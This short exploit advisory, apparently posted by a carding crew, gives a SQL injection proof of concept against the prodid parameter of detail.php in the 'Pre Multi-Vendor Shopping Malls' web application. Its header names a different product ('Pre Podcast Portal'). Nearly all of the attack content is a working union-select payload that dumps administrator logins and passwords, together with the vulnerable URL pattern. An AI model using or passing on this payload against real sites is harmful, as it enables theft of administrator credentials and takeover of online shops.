----------------------------------------------------------------------- Pre Multi-Vendor Shopping Malls (prodid) SQL Injection Vulnerability ----------------------------------------------------------------------- Author : v3n0m Site : http://yogyacarderlink.web.id/ Date : November, 15-2010 Location : Jakarta, Indonesia Time Zone : GMT +7:00 Application : Pre Podcast Portal Price : $295.00 Vendor : http://www.preproject.com/ Exploit & p0c _____________ -9999+union+all+select+1,2,3,group_concat(login,char(58),password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,34,35+from+admin-- http://127.0.0.1/[path]/detail.php?prodid=[SQLi] ShoutZ ______ All YOGYACARDERLINK CREW, GheMaX, LeQhi Also Jovita & Fabian :)